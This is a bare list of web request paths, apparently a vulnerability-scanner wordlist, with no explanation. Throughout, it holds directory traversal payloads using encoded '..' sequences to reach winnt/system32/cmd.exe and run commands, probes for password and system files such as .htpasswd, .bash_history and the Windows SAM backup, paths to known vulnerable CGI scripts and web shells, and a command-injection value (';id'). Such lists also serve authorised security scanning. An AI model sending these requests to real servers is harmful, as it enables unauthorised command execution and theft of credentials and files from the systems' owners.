./
/$CSTBINDIR$/
/$CSTBINDIR$/..%%35%63../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%%35c../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%25%35%63../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
/$CSTBINDIR$/..%252f../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/$CSTBINDIR$/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/$CSTBINDIR$/..%255c../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%2f../winnt/system32/cmd.exe
/$CSTBINDIR$/..%5c%5c../winnt/system32/cmd.exe
/$CSTBINDIR$/..%5c../winnt/system32/cmd.exe
/$CSTBINDIR$/..%c0%2f../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c0%9v../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c0%af../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c0%qf../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c1%8s../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c1%9c../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/..%c1%pc../winnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/../../cmd.exe
/$CSTBINDIR$/..\\..\\..\\..\\..\\..\\winnt\system32\cmd.exe?/c+dir+c:\\
/$CSTBINDIR$/..À¯../winnt/system32/cmd.exe
/$CSTBINDIR$/..Á../winnt/system32/cmd.exe
/$CSTBINDIR$/..Áœ../winnt/system32/cmd.exe
/$CSTBINDIR$/.cobalt/overflow/overflow.cgi
/$CSTBINDIR$/.cobalt/siteUserMod.cgi
/$CSTBINDIR$/.cobalt/siteUserMod/siteUserMod.cgi
/$CSTBINDIR$/.fhp
/$CSTBINDIR$/.htaccess
/$CSTBINDIR$/.htpasswd
/$CSTBINDIR$/.htpasswd/
/$CSTBINDIR$/.nsconfig
/$CSTBINDIR$/.www_acl
/$CSTBINDIR$/.wwwacl
/$CSTBINDIR$/AT-admin.cgi
/$CSTBINDIR$/AT-generate.cgi
/$CSTBINDIR$/Admin_files/order.log
/$CSTBINDIR$/AnyBoard.cgi
/$CSTBINDIR$/AnyForm
/$CSTBINDIR$/AnyForm2
/$CSTBINDIR$/Board/db/
/$CSTBINDIR$/CGImail.exe
/$CSTBINDIR$/Carello/add.exe
/$CSTBINDIR$/CatalogMgr.pl
/$CSTBINDIR$/Count.cgi
/$CSTBINDIR$/CrazyWWWBoard.cgi
/$CSTBINDIR$/FormMail.cgi
/$CSTBINDIR$/FormMail.pl
/$CSTBINDIR$/Fpadmcgi.exe
/$CSTBINDIR$/GW5/GWWEB.EXE
/$CSTBINDIR$/GWWEB.EXE
/$CSTBINDIR$/IISADMPWD
/$CSTBINDIR$/LWGate
/$CSTBINDIR$/LWGate.cgi
/$CSTBINDIR$/MachineInfo
/$CSTBINDIR$/PGPMail.pl
/$CSTBINDIR$/Search.pl
/$CSTBINDIR$/Ultraboard.cgi
/$CSTBINDIR$/Ultraboard.pl
/$CSTBINDIR$/WS_FTP.ini
/$CSTBINDIR$/Web_Store/web_store.cgi
/$CSTBINDIR$/Xrun.cgi
/$CSTBINDIR$/YaBB.pl
/$CSTBINDIR$/_vti_cnf
/$CSTBINDIR$/a1disp3.cgi
/$CSTBINDIR$/a1stats/a1disp3.cgi
/$CSTBINDIR$/achievo/atk/javascript/class.atkdateattribute.js.php
/$CSTBINDIR$/ad.cgi
/$CSTBINDIR$/adcycle
/$CSTBINDIR$/add_ftp.cgi
/$CSTBINDIR$/adduser.cgi
/$CSTBINDIR$/adduser.htm
/$CSTBINDIR$/adduser.html
/$CSTBINDIR$/admentor/admin/admin.asp
/$CSTBINDIR$/admin
/$CSTBINDIR$/admin.cgi
/$CSTBINDIR$/admin.htm
/$CSTBINDIR$/admin.html
/$CSTBINDIR$/admin.php
/$CSTBINDIR$/admin.php3
/$CSTBINDIR$/admin.pl
/$CSTBINDIR$/admin/
/$CSTBINDIR$/admin/admin
/$CSTBINDIR$/admin/index.cgi
/$CSTBINDIR$/admisapi/fpadmin.htm
/$CSTBINDIR$/adp
/$CSTBINDIR$/adpassword.txt
/$CSTBINDIR$/ads.setup
/$CSTBINDIR$/ads/admentor/admin/admin.asp
/$CSTBINDIR$/af.cgi
/$CSTBINDIR$/aglimpse
/$CSTBINDIR$/alibaba.pl
/$CSTBINDIR$/alienform.cgi
/$CSTBINDIR$/allmanage.pl
/$CSTBINDIR$/allmanage/adp
/$CSTBINDIR$/allmanage/k
/$CSTBINDIR$/allmanage/settings.cfg
/$CSTBINDIR$/allmanage/userfile.dat
/$CSTBINDIR$/allmanageup.pl
/$CSTBINDIR$/alya.cgi
/$CSTBINDIR$/amlite/amadmin.pl
/$CSTBINDIR$/anacondaclip.pl
/$CSTBINDIR$/anacondaclip.pl?template=check
/$CSTBINDIR$/ans.pl
/$CSTBINDIR$/ans/ans.pl
/$CSTBINDIR$/apexec.pl
/$CSTBINDIR$/archie
/$CSTBINDIR$/architext_query.cgi
/$CSTBINDIR$/architext_query.pl
/$CSTBINDIR$/args.bat
/$CSTBINDIR$/args.cmd
/$CSTBINDIR$/ash
/$CSTBINDIR$/atk/javascript/class.atkdateattribute.js.php
/$CSTBINDIR$/auktion.cgi
/$CSTBINDIR$/auktion.pl
/$CSTBINDIR$/authorize/dbmfiles/users
/$CSTBINDIR$/awl/auctionweaver.pl
/$CSTBINDIR$/ax-admin.cgi
/$CSTBINDIR$/ax.cgi
/$CSTBINDIR$/axs.cgi
/$CSTBINDIR$/bash
/$CSTBINDIR$/bb-dnbd
/$CSTBINDIR$/bb-hist.sh
/$CSTBINDIR$/bb-hostsvc.sh
/$CSTBINDIR$/bb_smilies.php
/$CSTBINDIR$/bbs.pl%3F+.htr
/$CSTBINDIR$/bbs_forum.cgi
/$CSTBINDIR$/bigconf.cgi
/$CSTBINDIR$/bizdb1-search.cgi
/$CSTBINDIR$/bnbform
/$CSTBINDIR$/bnbform.cgi
/$CSTBINDIR$/boozt/admin/index.cgi
/$CSTBINDIR$/boozt/index.cgi
/$CSTBINDIR$/build.cgi
/$CSTBINDIR$/c32web.exe
/$CSTBINDIR$/c32web.exe/ChangeAdminPassword
/$CSTBINDIR$/c32web.exe/CheckError?error=53
/$CSTBINDIR$/c32web.exe/ShowAdminDir
/$CSTBINDIR$/c_download.cgi
/$CSTBINDIR$/cached_feed.cgi
/$CSTBINDIR$/cachemgr.cgi
/$CSTBINDIR$/cal_make.pl
/$CSTBINDIR$/calendar
/$CSTBINDIR$/calendar.php
/$CSTBINDIR$/calendar/calendar_admin.pl
/$CSTBINDIR$/calendar/calender.pl
/$CSTBINDIR$/calendar_admin.pl
/$CSTBINDIR$/calender.pl
/$CSTBINDIR$/calender_admin.pl
/$CSTBINDIR$/campas
/$CSTBINDIR$/carbo.dll
/$CSTBINDIR$/cart.pl
/$CSTBINDIR$/cart32.exe
/$CSTBINDIR$/cartman.php
/$CSTBINDIR$/cat
/$CSTBINDIR$/ceilidh.exe
/$CSTBINDIR$/cfgwiz.exe
/$CSTBINDIR$/cgi-lib.pl
/$CSTBINDIR$/cgicso
/$CSTBINDIR$/cgiemail
/$CSTBINDIR$/cgiemail-1.4/cgicso
/$CSTBINDIR$/cgiemail-1.6/cgicso
/$CSTBINDIR$/cgiemail/cgicso
/$CSTBINDIR$/cgiforum.pl
/$CSTBINDIR$/cgimail.exe
/$CSTBINDIR$/cgitest.exe
/$CSTBINDIR$/cgiwrap
/$CSTBINDIR$/changepw.cgi
/$CSTBINDIR$/changepw.exe
/$CSTBINDIR$/chat/calendar.php
/$CSTBINDIR$/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\
/$CSTBINDIR$/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/$CSTBINDIR$/class/mysql.class
/$CSTBINDIR$/classified.cgi
/$CSTBINDIR$/classifieds
/$CSTBINDIR$/classifieds.cgi
/$CSTBINDIR$/clickresponder.pl
/$CSTBINDIR$/code.php
/$CSTBINDIR$/code.php3
/$CSTBINDIR$/com5.pl
/$CSTBINDIR$/commerce.cgi
/$CSTBINDIR$/commerce.cgi?page=check
/$CSTBINDIR$/common/FormMail.cgi
/$CSTBINDIR$/common/formmail.pl
/$CSTBINDIR$/common/formmail.pl.cgi
/$CSTBINDIR$/common/listrec.pl
/$CSTBINDIR$/common/user_update_admin.pl
/$CSTBINDIR$/common/user_update_passwd.pl
/$CSTBINDIR$/convert.bas
/$CSTBINDIR$/count.cgi
/$CSTBINDIR$/counter-ord
/$CSTBINDIR$/counter.exe
/$CSTBINDIR$/counterbanner
/$CSTBINDIR$/counterbanner-ord
/$CSTBINDIR$/counterfiglet
/$CSTBINDIR$/counterfiglet-ord
/$CSTBINDIR$/counterfiglet/nc/f
/$CSTBINDIR$/cpshost.dll
/$CSTBINDIR$/csh
/$CSTBINDIR$/cvsweb.cgi
/$CSTBINDIR$/cvsweb/cvsweb.cgi
/$CSTBINDIR$/dasp/fm_shell.asp
/$CSTBINDIR$/data/nicks
/$CSTBINDIR$/date
/$CSTBINDIR$/day5datacopier.cgi
/$CSTBINDIR$/day5datanotifier.cgi
/$CSTBINDIR$/db2www/library/document.d2w/show
/$CSTBINDIR$/dbman/db.cgi
/$CSTBINDIR$/dbmlparser.exe
/$CSTBINDIR$/dcadmin.cgi
/$CSTBINDIR$/dcboard.cgi
/$CSTBINDIR$/dcforum.cgi
/$CSTBINDIR$/dcforumlib.pl
/$CSTBINDIR$/dfire.cgi
/$CSTBINDIR$/dig.cgi
/$CSTBINDIR$/directory.php
/$CSTBINDIR$/directorypro.cgi
/$CSTBINDIR$/displayTC.pl
/$CSTBINDIR$/dmailweb.cgi
/$CSTBINDIR$/dmailweb.exe
/$CSTBINDIR$/dnewsweb
/$CSTBINDIR$/dnewsweb.cgi
/$CSTBINDIR$/dnewsweb.exe
/$CSTBINDIR$/donothing
/$CSTBINDIR$/download.cgi
/$CSTBINDIR$/dumpenv
/$CSTBINDIR$/dumpenv.pl
/$CSTBINDIR$/echo
/$CSTBINDIR$/echo.bat
/$CSTBINDIR$/echo.exe
/$CSTBINDIR$/edit.pl
/$CSTBINDIR$/edit_image.php
/$CSTBINDIR$/empower
/$CSTBINDIR$/empower?DB=UkRteamHole
/$CSTBINDIR$/emurl/RECMAN.dll
/$CSTBINDIR$/enter.cgi
/$CSTBINDIR$/environ.cgi
/$CSTBINDIR$/errors/needinit.php
/$CSTBINDIR$/eshop.pl
/$CSTBINDIR$/everythingform.cgi
/$CSTBINDIR$/ews
/$CSTBINDIR$/ews/ews/architext_query.pl
/$CSTBINDIR$/excite
/$CSTBINDIR$/ezshopper2/loadpage.cgi
/$CSTBINDIR$/ezshopper3/loadpage.cgi
/$CSTBINDIR$/faqmanager.cgi
/$CSTBINDIR$/faxsurvey
/$CSTBINDIR$/fi
/$CSTBINDIR$/filemail
/$CSTBINDIR$/filemail.pl
/$CSTBINDIR$/files.pl
/$CSTBINDIR$/finger
/$CSTBINDIR$/finger.cgi
/$CSTBINDIR$/finger.pl
/$CSTBINDIR$/flexform
/$CSTBINDIR$/flexform.cgi
/$CSTBINDIR$/form.cgi
/$CSTBINDIR$/formmail
/$CSTBINDIR$/formmail.cgi
/$CSTBINDIR$/formmail.pl
/$CSTBINDIR$/formmail.pl.cgi
/$CSTBINDIR$/fortune
/$CSTBINDIR$/forum/calendar.php
/$CSTBINDIR$/forums/calendar.php
/$CSTBINDIR$/forumz/calendar.php
/$CSTBINDIR$/fpadmcgi.exe
/$CSTBINDIR$/fpcount.exe
/$CSTBINDIR$/fpexplorer.exe
/$CSTBINDIR$/fpremadm.exe
/$CSTBINDIR$/fpsrvadm.exe
/$CSTBINDIR$/ftp/ftp.pl
/$CSTBINDIR$/gH.cgi
/$CSTBINDIR$/gbook/gbook.cgi?_MAILTO=check;id
/$CSTBINDIR$/generate.cgi
/$CSTBINDIR$/get32.exe
/$CSTBINDIR$/getdoc.cgi
/$CSTBINDIR$/glimpse
/$CSTBINDIR$/global.cgi
/$CSTBINDIR$/guestbook.cgi
/$CSTBINDIR$/guestbook.pl
/$CSTBINDIR$/guestbook/
/$CSTBINDIR$/gupcgi.exe
/$CSTBINDIR$/handler
/$CSTBINDIR$/hello.bat
/$CSTBINDIR$/hsx.cgi
/$CSTBINDIR$/htforum/calendar.php
/$CSTBINDIR$/htgrep
/$CSTBINDIR$/htgrep.cgi
/$CSTBINDIR$/htimage.exe
/$CSTBINDIR$/htmldocs
/$CSTBINDIR$/htmlscript
/$CSTBINDIR$/htsearch
/$CSTBINDIR$/ibillpm.pl
/$CSTBINDIR$/ibill/
/$CSTBINDIR$/icat
/$CSTBINDIR$/iisadmin
/$CSTBINDIR$/iisadmin/bdir.htr
/$CSTBINDIR$/iisadmin/default.htm
/$CSTBINDIR$/iisadmin/ism.dll
/$CSTBINDIR$/iisadmin/samples
/$CSTBINDIR$/iisadmin/samples/ctgestb.htx
/$CSTBINDIR$/iisadmin/samples/ctgestb.idc
/$CSTBINDIR$/iisadmin/samples/details.htx
/$CSTBINDIR$/iisadmin/samples/details.idc
/$CSTBINDIR$/iisadmin/samples/query.htx
/$CSTBINDIR$/iisadmin/samples/query.idc
/$CSTBINDIR$/iisadmin/samples/register.htx
/$CSTBINDIR$/iisadmin/samples/register.idc
/$CSTBINDIR$/iisadmin/samples/sample.htx
/$CSTBINDIR$/iisadmin/samples/sample.idc
/$CSTBINDIR$/iisadmin/samples/sample2.htx
/$CSTBINDIR$/iisadmin/samples/viewbook.htx
/$CSTBINDIR$/iisadmin/samples/viewbook.idc
/$CSTBINDIR$/iisadmin/tools
/$CSTBINDIR$/iisadmin/tools/ct.htx
/$CSTBINDIR$/iisadmin/tools/ctss.idc
/$CSTBINDIR$/iisadmin/tools/dsnform.exe
/$CSTBINDIR$/iisadmin/tools/getdrvrs.exe
/$CSTBINDIR$/iisadmin/tools/mkilog.exe
/$CSTBINDIR$/iisadmin/tools/newdsn.exe
/$CSTBINDIR$/ikonboard/help.cgi
/$CSTBINDIR$/imagemap
/$CSTBINDIR$/imagemap.c
/$CSTBINDIR$/imagemap.exe
/$CSTBINDIR$/inc/sendmail.inc
/$CSTBINDIR$/includes/awol-condensed.inc.php
/$CSTBINDIR$/index.cgi
/$CSTBINDIR$/index.jsp
/$CSTBINDIR$/index.php
/$CSTBINDIR$/info2html
/$CSTBINDIR$/info2www
/$CSTBINDIR$/infogate
/$CSTBINDIR$/infosrch.cgi
/$CSTBINDIR$/input.bat
/$CSTBINDIR$/input2.bat
/$CSTBINDIR$/ipf/etc/gfw/ui/pwd.dat
/$CSTBINDIR$/jj
/$CSTBINDIR$/ksh
/$CSTBINDIR$/lasso.cgi
/$CSTBINDIR$/listrec.pl
/$CSTBINDIR$/loadpage.cgi
/$CSTBINDIR$/log
/$CSTBINDIR$/log/
/$CSTBINDIR$/login.cgi
/$CSTBINDIR$/login.pl
/$CSTBINDIR$/logs
/$CSTBINDIR$/logs/
/$CSTBINDIR$/ls
/$CSTBINDIR$/lsindex2.bat
/$CSTBINDIR$/lwgate
/$CSTBINDIR$/lwgate.cgi
/$CSTBINDIR$/mail
/$CSTBINDIR$/mailfile.cgi
/$CSTBINDIR$/mailform.pl
/$CSTBINDIR$/maillist.cgi
/$CSTBINDIR$/maillist.pl
/$CSTBINDIR$/mailnews.cgi
/$CSTBINDIR$/mailto.cgi
/$CSTBINDIR$/main.cgi
/$CSTBINDIR$/makechanges/easysteps/easysteps.pl
/$CSTBINDIR$/man.sh
/$CSTBINDIR$/mastergate
/$CSTBINDIR$/mastergate/.htpasswd
/$CSTBINDIR$/mastergate/password
/$CSTBINDIR$/mastergate/passwords
/$CSTBINDIR$/mdma.bat
/$CSTBINDIR$/message.cgi
/$CSTBINDIR$/meta.pl
/$CSTBINDIR$/minimal.exe
/$CSTBINDIR$/mlog.html
/$CSTBINDIR$/mlog.phtml
/$CSTBINDIR$/mmstdod.cgi
/$CSTBINDIR$/mmstdod.cgi?ALTERNATE_TEMPLATES=
/$CSTBINDIR$/modules.php
/$CSTBINDIR$/multihtml.pl
/$CSTBINDIR$/mylog.html
/$CSTBINDIR$/mylog.phtml
/$CSTBINDIR$/ncbook.cgi
/$CSTBINDIR$/ncbook/book.cgi
/$CSTBINDIR$/ncbook/ncbook.cgi
/$CSTBINDIR$/netauth.cgi
/$CSTBINDIR$/netstat
/$CSTBINDIR$/news/news.cgi
/$CSTBINDIR$/newsdesk.cgi
/$CSTBINDIR$/nlog-smb.cgi
/$CSTBINDIR$/nlog-smb.pl
/$CSTBINDIR$/no-such-file.pl
/$CSTBINDIR$/nph-error.pl
/$CSTBINDIR$/nph-maillist.pl
/$CSTBINDIR$/nph-publish
/$CSTBINDIR$/nph-publish.cgi
/$CSTBINDIR$/nph-test-cgi
/$CSTBINDIR$/ntitar.pl
/$CSTBINDIR$/pagelog.cgi
/$CSTBINDIR$/pals-cgi
/$CSTBINDIR$/pass/
/$CSTBINDIR$/passwd
/$CSTBINDIR$/passwd.txt
/$CSTBINDIR$/password
/$CSTBINDIR$/password.txt
/$CSTBINDIR$/perl
/$CSTBINDIR$/perl.exe
/$CSTBINDIR$/perl?
/$CSTBINDIR$/perlshop.cgi
/$CSTBINDIR$/pfdispaly
/$CSTBINDIR$/pfdispaly.cgi
/$CSTBINDIR$/pfdisplay
/$CSTBINDIR$/pfdisplay.cgi
/$CSTBINDIR$/phf
/$CSTBINDIR$/phf.cgi
/$CSTBINDIR$/php
/$CSTBINDIR$/php.cgi
/$CSTBINDIR$/phpmlog.phtml
/$CSTBINDIR$/phpmylog.phtml
/$CSTBINDIR$/pin
/$CSTBINDIR$/pin.txt
/$CSTBINDIR$/pincodes
/$CSTBINDIR$/pincodes.txt
/$CSTBINDIR$/ping
/$CSTBINDIR$/ping.asp
/$CSTBINDIR$/plusmail
/$CSTBINDIR$/pollit/Poll_It_SSI_v2.0.cgi
/$CSTBINDIR$/post-query
/$CSTBINDIR$/post32.exe
/$CSTBINDIR$/post_query
/$CSTBINDIR$/postcard.pl
/$CSTBINDIR$/postinfo.asp
/$CSTBINDIR$/postings.cgi?action=reply&forum=&number=1&topic=000001.cgi&TopicSubject=&replyto=0
/$CSTBINDIR$/powerup/r.cgi
/$CSTBINDIR$/ppdscgi.exe
/$CSTBINDIR$/printenv
/$CSTBINDIR$/processit.pl
/$CSTBINDIR$/proxy/w3proxy.dll
/$CSTBINDIR$/pu3.pl
/$CSTBINDIR$/query
/$CSTBINDIR$/quickstore.cgi
/$CSTBINDIR$/quikstore.cgi
/$CSTBINDIR$/r.cgi
/$CSTBINDIR$/redir.exe
/$CSTBINDIR$/redirect
/$CSTBINDIR$/redirect.cgi
/$CSTBINDIR$/redirect.exe
/$CSTBINDIR$/register.cgi
/$CSTBINDIR$/remotehtmlview.php
/$CSTBINDIR$/replicator/webpage.cgi
/$CSTBINDIR$/repost.asp
/$CSTBINDIR$/responder.cgi
/$CSTBINDIR$/rguest.exe
/$CSTBINDIR$/rksh
/$CSTBINDIR$/root.exe
/$CSTBINDIR$/rpm_query
/$CSTBINDIR$/rsh
/$CSTBINDIR$/rtm.log
/$CSTBINDIR$/run.exe
/$CSTBINDIR$/rwwwshell.pl
/$CSTBINDIR$/s.cgi?q=a&tmpl=check
/$CSTBINDIR$/samples
/$CSTBINDIR$/samples/ctguestb.idc
/$CSTBINDIR$/samples/details.idc
/$CSTBINDIR$/samples/search/webhits.exe
/$CSTBINDIR$/sawmill
/$CSTBINDIR$/sawmill5
/$CSTBINDIR$/sdbsearch.cgi
/$CSTBINDIR$/search.cgi
/$CSTBINDIR$/search.cgi?letter=
/$CSTBINDIR$/search.pl
/$CSTBINDIR$/search/search.cgi
/$CSTBINDIR$/search/tidfinder.cgi?2956734
/$CSTBINDIR$/sendtemp.pl
/$CSTBINDIR$/session/adminlogin
/$CSTBINDIR$/settings.cfg
/$CSTBINDIR$/sh
/$CSTBINDIR$/shop.cgi
/$CSTBINDIR$/shop.pl
/$CSTBINDIR$/shopper.cgi
/$CSTBINDIR$/shopplus.cgi
/$CSTBINDIR$/silly.pl
/$CSTBINDIR$/simple/view_page
/$CSTBINDIR$/simplestguest.cgi
/$CSTBINDIR$/simplestmail.cgi
/$CSTBINDIR$/snorkerz.bat
/$CSTBINDIR$/snorkerz.cmd
/$CSTBINDIR$/sojourn
/$CSTBINDIR$/sojourn.cgi
/$CSTBINDIR$/spin_client.cgi
/$CSTBINDIR$/sql.php
/$CSTBINDIR$/sql.php3
/$CSTBINDIR$/ssi
/$CSTBINDIR$/stats.prf
/$CSTBINDIR$/stats.prg
/$CSTBINDIR$/statsconfig
/$CSTBINDIR$/statsconfig.pl
/$CSTBINDIR$/store.cgi
/$CSTBINDIR$/story.pl
/$CSTBINDIR$/story/story.pl
/$CSTBINDIR$/submit.cgi
/$CSTBINDIR$/subscribe.pl
/$CSTBINDIR$/survey
/$CSTBINDIR$/survey.cgi
/$CSTBINDIR$/swc
/$CSTBINDIR$/tablebuild.pl
/$CSTBINDIR$/tcsh
/$CSTBINDIR$/test-cgi
/$CSTBINDIR$/test-cgi.tcl
/$CSTBINDIR$/test-env
/$CSTBINDIR$/test.bat
/$CSTBINDIR$/testcgi.exe
/$CSTBINDIR$/textcounter.pl
/$CSTBINDIR$/tidfinder.cgi
/$CSTBINDIR$/tigvote.cgi
/$CSTBINDIR$/tools
/$CSTBINDIR$/tools/getdrvrs.exe
/$CSTBINDIR$/tools/getdrvs.exe
/$CSTBINDIR$/tools/newdsn.exe
/$CSTBINDIR$/tpgnrock
/$CSTBINDIR$/tst.bat
/$CSTBINDIR$/ttawebtop.cgi
/$CSTBINDIR$/ultraboard.cgi
/$CSTBINDIR$/ultraboard.pl
/$CSTBINDIR$/unlg1.1
/$CSTBINDIR$/unlg1.2
/$CSTBINDIR$/upload.asp
/$CSTBINDIR$/upload.cgi
/$CSTBINDIR$/upload.pl
/$CSTBINDIR$/upload_file.pl
/$CSTBINDIR$/uploader.exe
/$CSTBINDIR$/uploadn.asp
/$CSTBINDIR$/uploadx.asp
/$CSTBINDIR$/uptime
/$CSTBINDIR$/userfile.dat
/$CSTBINDIR$/userreg.cgi
/$CSTBINDIR$/ustorekeeper.pl
/$CSTBINDIR$/vb/calendar.php
/$CSTBINDIR$/vb2/calendar.php
/$CSTBINDIR$/vbulletin/calendar.php
/$CSTBINDIR$/view-source
/$CSTBINDIR$/view_item
/$CSTBINDIR$/view_page.html
/$CSTBINDIR$/view_source
/$CSTBINDIR$/viralator.cgi
/$CSTBINDIR$/visadmin.exe
/$CSTBINDIR$/visitor.exe
/$CSTBINDIR$/vpasswd.cgi
/$CSTBINDIR$/w3-msql
/$CSTBINDIR$/w3-msql/index.html
/$CSTBINDIR$/w3-sql
/$CSTBINDIR$/wa.exe
/$CSTBINDIR$/wais.pl
/$CSTBINDIR$/way-board/way-board.cgi
/$CSTBINDIR$/wconsole.dll
/$CSTBINDIR$/webbbs.cgi
/$CSTBINDIR$/webbbs.exe
/$CSTBINDIR$/webboard/generate.cgi
/$CSTBINDIR$/webcart/webcart.cgi
/$CSTBINDIR$/webdata.cgi
/$CSTBINDIR$/webdist.cgi
/$CSTBINDIR$/webdriver
/$CSTBINDIR$/webform.cgi
/$CSTBINDIR$/webgais
/$CSTBINDIR$/webmap.cgi
/$CSTBINDIR$/webplus
/$CSTBINDIR$/webplus.cgi
/$CSTBINDIR$/webplus.exe
/$CSTBINDIR$/websendmail
/$CSTBINDIR$/webspirs.cgi
/$CSTBINDIR$/webutils.pl
/$CSTBINDIR$/webwho.pl
/$CSTBINDIR$/wguest.exe
/$CSTBINDIR$/whois.cgi
/$CSTBINDIR$/whois.cgi?action=load&whois=check
/$CSTBINDIR$/whois_raw.cgi
/$CSTBINDIR$/win-c-sample.exe
/$CSTBINDIR$/wincgi.bat
/$CSTBINDIR$/windmail.exe
/$CSTBINDIR$/wrap
/$CSTBINDIR$/wrap.cgi
/$CSTBINDIR$/ws_ftp.ini
/$CSTBINDIR$/wsisa.dll
/$CSTBINDIR$/wsisa.dll/WService=anything
/$CSTBINDIR$/www-sql
/$CSTBINDIR$/wwwadmin.cgi
/$CSTBINDIR$/wwwadmin.pl
/$CSTBINDIR$/wwwboard.cgi
/$CSTBINDIR$/wwwboard.pl
/$CSTBINDIR$/wwwboard/wwwadmin.cgi
/$CSTBINDIR$/wwwboard/wwwadmin.pl
/$CSTBINDIR$/wwwboard/wwwboard.cgi
/$CSTBINDIR$/wwwboard/wwwboard.pl
/$CSTBINDIR$/wwwshell.pl
/$CSTBINDIR$/wwwthreads
/$CSTBINDIR$/wwwthreads/3tvars.pm
/$CSTBINDIR$/wwwthreads/w3tvars.pm
/$CSTBINDIR$/wwwwais
/$CSTBINDIR$/zml.cgi
/$CSTBINDIR$/zsh
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/motd
/."./."./winnt/win.ini%20.php3
/........./autoexec.bat
/....../......ida/con
/....../autoexec.bat
/..../Windows/Admin.pwl
/..../config.sys
/../../../../../winnt/repair/sam._
/../../../../config.sys
/../../../autoexec.bat
/../../windows/user.dat
/..\\..\\..\\..\\..\\..\autoexec.bat
/..\\..\\..\winnt\repair\sam._
/.DS_Store
/.FBCIndex
/.access
/.admin
/.bash_history
/.cobalt/
/.cobalt/siteUserMod/siteUserMod.cgi
/.fhp
/.htaccess
/.htaccess/
/.html/............/autoexec.bat
/.htpasswd
/.htpasswd/
/.jpilot/
/.jsp/WEB-INF/classes/Env.java
/.members
/.mysql_history
/.nsconfig
/.nsf/../winnt/win.ini
/.pass
/.passes
/.passwd
/.password
/.passwords
/.passwrd
/.pwd
/.users
/.www_acl
/.wwwacl
/1/
/10/
/2/
/3/
/4/
/5/
/6/
/7/
/8/
/9/
/?PageServices
/?wp-cs-dump
/?wp-html-rend
/?wp-start-ver
/?wp-stop-ver
/?wp-uncheckout
/?wp-usr-prop
/?wp-ver-diff
/?wp-ver-info
/?wp-verify-link
/ASPSamp/AdvWorks/equipment/catalog_type.asp
/AdManager/
/Admin/
/AdminWeb/
/Admin_files/
/Admin_files/order.log
/Administration/
/AdvWebAdmin/
/AdvWorks/equipment/catalog_type.asp
/Agent/
/Agents/
/Album/
/Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0
/CFIDE/Administrator/startstop.html
/CFIDE/administrator/index.cfm
/CS/
/CVS/
/CVS/Entries
/ConsoleHelp/login.jsp
/DB4Web/
/DMR/
/DataBase/
/DocuColor/
/GW5/GWWEB.EXE
/GWWEB.EXE
/GXApp/
/HB/
/HBTemplates/
/HyperStat/stat_what.log
/IBMWebAS/
/IISADMPWD/achg.htr
/IISADMPWD/aexp.htr
/IISADMPWD/aexp2.htr
/IISADMPWD/aexp2b.htr
/IISADMPWD/aexp3.htr
/IISADMPWD/aexp4.htr
/IISADMPWD/aexp4b.htr
/IISADMPWD/anot.htr
/IISADMPWD/anot3.htr
/ISSamples/sqlqhit.asp
/Install/
/Intranet/
/JBookIt/
/LCGI
/Log/
/MRTG/
/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/MSADC/root.exe
/MSADC/root.exe?/c+dir
/MSOffice/cltreq.asp
/M_A_C_H_T_T_P_V_E_R_S_I_O_N
/Mail/
/Msword/
/NSearch/
/NULL.printer
/NetDynamic/
/NetDynamics/
/News/
/Newuser?Image=../../database/rbsserv.mdb
/NonExistent/
/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
/PBServer/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/PDG_Cart/
/PDG_Cart/order.log
/PDG_Cart/shopper.conf
/PSUser/PSCOErrPage.htm
/Proxy/LoginResponse
/README/
/ROADS/
/ROADS/cgi-bin/search.pl
/Readme/
/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
